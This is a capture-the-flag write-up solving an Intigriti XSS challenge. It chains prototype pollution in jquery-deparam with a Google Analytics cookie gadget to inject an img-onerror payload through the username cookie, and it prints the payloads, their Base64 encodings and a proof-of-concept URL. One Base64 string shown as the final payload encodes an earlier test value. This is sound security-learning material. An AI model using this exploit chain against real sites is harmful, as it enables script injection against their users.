When I started the challenge, I was greeted with this:

Hovering over the links, I noticed that the links contained a recipe parameter. So, I opened the link in a new tab. Clearly the parameter was being processed somewhere, so figuring out where it was taking place was important. In our current page, cooking.html
, I noted two important script sources - main.js
, and jquery-deparam.js
. In particular, the latter is known for being vulnerable to prototype pollution.
Diving into the first file - main.js
- there are three different functions, and a load function. The logical flow of the load function seemed to as follows:
- Call
ReadCookie
and check if it returns anything. - If not, set the
username
value in the cookie to be "unknownUser" and a random integer. - Set the recipe variable to be equal to the Base64-decoded value of the
recipe
parameter. - Set Google Analytics (hmmmm).
- Call
welcomeUser
. - Call
generateRecipeText
. - Print
recipe
to the console.

The generateRecipeText
function selects several values from the Base64-encoded value of the recipe
parameter in the URL. It then sets the values in the DOM using .innerText
, which does not render HTML. However, the welcomeUser
function was different - it sets the innerHTML
of the welcomeMessage
variable. So clearly, this is the part that we want to inject our payload into. The specific line is welcomeMessage.innerHTML = 'Welcome ${username}';
. So, we must find a way to control the value of username
somehow.
Bringing our attention back to the load function, we see that username
is set via the readCookie
function. This function returns the first occurrence of the parameter passed into it in the cookie. So, if username=potato
and username=monke
were in the cookie, but username=potato
occurred first, then potato
would be returned by the function. Since the random cookie variable is only set if username
doesn't already exist, we can force our own value into welcomeMessage
by assigning a value to username
before the page is fully loaded.
So how can we do that? Well, we fortunately are able to execute prototype pollution using jquery-deparam.js
(CVE-2021-20087). This was my first time trying prototype pollution, but I was eventually able to get a working example.
To perform prototype pollution in this context, we first note that deparam
is being called for recipe
, so our pollution must occur within the Base64-encoded value of recipe
.
Visiting the Basic XSS page, the Base64-decoded value looks like this:
title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy
and URL decoding that gives this:
title=The basic XSS&ingredients[]=A script tag&ingredients[]=Some javascript&payload=<script>alert(1)</script>&steps[]=Find target&steps[]=Inject&steps[]=Enjoy
so now it is clear how this is broken down by the generateRecipeText
function. So, I decided to add the prototype pollution payload (__proto__[test]=test
) to the first decoding like this:
title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy&__proto__[test]=test
and sure enough, by checking Object.prototype
in the console, we can verify that it was polluted.

But how to exploit this? Let's go back to the Load function. Reading through the function, we see the following code: ga('create', 'ga_r33l', 'auto');
. After some research, I discovered that Google Analytics is a handy gadget. This wonderful repository alerted me to the fact that it is possible to manipulate the cookie using something like:
?__proto__[cookieName]=COOKIE%3DInjection%3B
So in our case, we must craft it like:
__proto__[cookieName]=username=MyPollutedCookie
We should also encode the second =
for clarity. So I put this at the start of the parameter payload.
__proto__[cookieName]=username%3DMonke&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy
I Base64-encoded the above lump of text, and set the recipe
parameter to it, and let it run.
But nothing happened.
I went to bed, frustrated and confused. It should have worked. Why didn't it?
When I woke up the next morning, I tried again, and discovered that I had installed cookie blocker add-ons, which were blocking Google Analytics. I opened a new window in Chrome and tried my payload there. And it worked! The page now said Welcome Monke instead. Now, since we know that the username is written with innerHTML, all we have to do is set the username to be a typical XSS payload.
The final, non-Base64 payload becomes
__proto__[cookieName]=username%3D%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E%3B&title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy
and when encoded, it becomes
X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEbW9ua2UmdGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==
which we set recipe
to be equal to.
The final POC URL is
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNEJTNDaW1nJTIwc3JjJTNEeCUyMG9uZXJyb3IlM0RhbGVydChkb2N1bWVudC5kb21haW4pJTNFJTNCJnRpdGxlPVRoZSUyMGJhc2ljJTIwWFNTJmluZ3JlZGllbnRzJTVCJTVEPUElMjBzY3JpcHQlMjB0YWcmaW5ncmVkaWVudHMlNUIlNUQ9U29tZSUyMGphdmFzY3JpcHQmcGF5bG9hZD0lM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0Umc3RlcHMlNUIlNUQ9RmluZCUyMHRhcmdldCZzdGVwcyU1QiU1RD1JbmplY3Qmc3RlcHMlNUIlNUQ9RW5qb3k=
which pops our alert with document.domain in it.

This completes the challenge. It was very fun! This has motivated me to try the XSS challenge next month as well.
Until next time...
PMOC a.k.a Monke